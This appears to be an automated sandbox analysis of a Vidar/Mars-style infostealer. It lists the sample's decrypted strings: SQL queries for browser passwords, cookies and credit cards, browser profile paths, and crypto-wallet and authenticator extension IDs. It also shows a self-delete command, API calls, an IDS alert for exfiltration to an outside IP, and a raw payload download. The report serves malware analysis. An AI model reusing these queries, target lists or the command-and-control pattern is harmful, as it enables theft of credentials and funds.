Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PATH
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PATH=
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Cookies\%s_%s.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: TRUE
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: FALSE
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Autofill\%s_%s.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CC\%s_%s.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Card number:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Name on card:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Expiration date:
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: History\%s_%s.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT url FROM urls
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Downloads\%s_%s.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT target_path, tab_url from downloads
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Login Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Cookies
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Web Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: History
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: logins.json
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: usernameField
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: guid
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Local State
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ..\profiles.ini
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Chrome
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Google\Chrome\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Chromium
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Chromium\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Edge_Chromium
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Microsoft\Edge\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Kometa
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Kometa\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Amigo
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Amigo\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Torch
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Torch\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Orbitum
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Orbitum\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Comodo
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Comodo\Dragon\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Nichrome
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Nichrome\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Maxthon5
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Maxthon5\Users
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Sputnik
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Sputnik\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Epic Privacy Browser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Vivaldi
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Vivaldi\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CocCoc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \CocCoc\Browser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Uran
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \uCozMedia\Uran\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \QIP Surf\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Cent
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \CentBrowser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Elements
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Elements Browser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: TorBro
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \TorBro\Profile
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: CryptoTab
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \CryptoTab Browser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Brave
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \BraveSoftware\Brave-Browser\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Opera
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Stable\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: OperaGX
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Opera Software\Opera GX Stable\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: OperaNeon
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Neon\User Data
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Firefox
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Mozilla\Firefox\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SlimBrowser
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \FlashPeak\SlimBrowser\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: PaleMoon
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Moonchild Productions\Pale Moon\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Waterfox
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Waterfox\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Cyberfox
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \8pecxstudios\Cyberfox\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BlackHawk
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \NETGATE Technologies\BlackHawk\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: IceCat
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Mozilla\icecat\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: KMeleon
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \K-Meleon\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Thunderbird
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: \Thunderbird\Profiles\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: passwords.txt
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: TronLink
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MetaMask
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Binance Chain Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ffnbelfdoeiohenkjibnmadjiehjhajb
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Yoroi
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Nifty Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Math Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Coinbase Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Guarda
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoapac
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: EQUAL Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: cjelfplplebdjjenllpjcblmjkfcffne
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Jaxx Liberty
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BitApp Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: iWallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Wombat
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MEW CX
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nanjmdknhkinifnkgdcggcfnhdaammmj
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GuildWallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nkddgncdjgjfcddamfgcmfnlhccnimig
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Saturn Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: fnjhmkhhmkbjkkabndcnnogagogbneec
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Ronin Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: NeoLine
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nhnkbkgjikgcigadomkphalanndcapjk
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Clover Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: kpfopkelmapcoipemfendmdcghnegimn
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Liquality Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Terra Station
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Keplr
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Sollet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: cnmamaachppnkjgnildpdmkaakejnhae
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Auro Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Polymesh Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ICONex
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nknhiehlklippafakaeklbeglecifhad
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Nabox Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Temple
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: TezBox
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: dkdedlpgdmmkkfjabffeganieamfklkm
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Cyano Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Byone
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: OneKey
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: cihmoadaighcejopammfbmddcmdekcje
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: LeafWallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lodccjjbdhfakaekdiahmedfbieldgik
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DAppPlay
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ijmpgkjfkbfhoebgogflfebnmejmfbml
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: BitClip
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Steem Keychain
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: onofpnbbkehpmmoabgpcpmigafmmnjhl
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Nash Extension
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: bcopgchhojmggmffilplmbdicgaihlkp
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Hycon Lite Client
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: klnaejjgbibmhlephnhpmaofohgkpgkd
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ZilPay
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Coin98 Wallet
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Phantom
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: bhghoamapcdpbohphigoooaddinpkbai
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Authenticator
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Authy
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: oeljdldpnmdbchonielidgobddffflal
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: EOS Authenticator
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ilgcnhelpchnceeipipijaljkblbcobl
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: GAuth Authenticator
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: imloifkgjagghnncjkhggdhalmcnfklk
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Trezor Password Manager
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %s\%s\Local Extension Settings\%s
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %s\CURRENT
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %s\%s\Sync Extension Settings\%s
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: %s\%s\IndexedDB\chrome-extension_%s_0.indexeddb.leveldb
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: Plugins\
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ProductName
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Cryptography
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: MachineGuid
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DisplayName
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: screenshot.jpg
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "%s" & exit
Source: 1.2.Builded.exe.400000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00407650 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00407650
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_004072D0 CryptUnprotectData,	1_2_004072D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_004078E0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	1_2_004078E0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00404960 memset,CryptStringToBinaryA,CryptStringToBinaryA,	1_2_00404960
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_004075B0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_004075B0

Source: 8BQ2v9glrG.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: 8BQ2v9glrG.exe
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFD647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7BDFD647C
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7BDFEECE0
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BE003130 FindFirstFileExA,	0_2_00007FF7BE003130
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_004098D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00401280
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00401090
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00408920
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	1_2_00409D30
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409B60
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00405F70

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2033163 - Severity 1 - ET MALWARE Win32/Vidar Variant/Mars Stealer CnC Exfil : 192.168.2.4:49730 -> 104.194.151.11:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 24 Aug 2024 09:51:55 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 19 Aug 2024 19:27:59 GMTETag: "9d9d8-6200e4e88720f"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 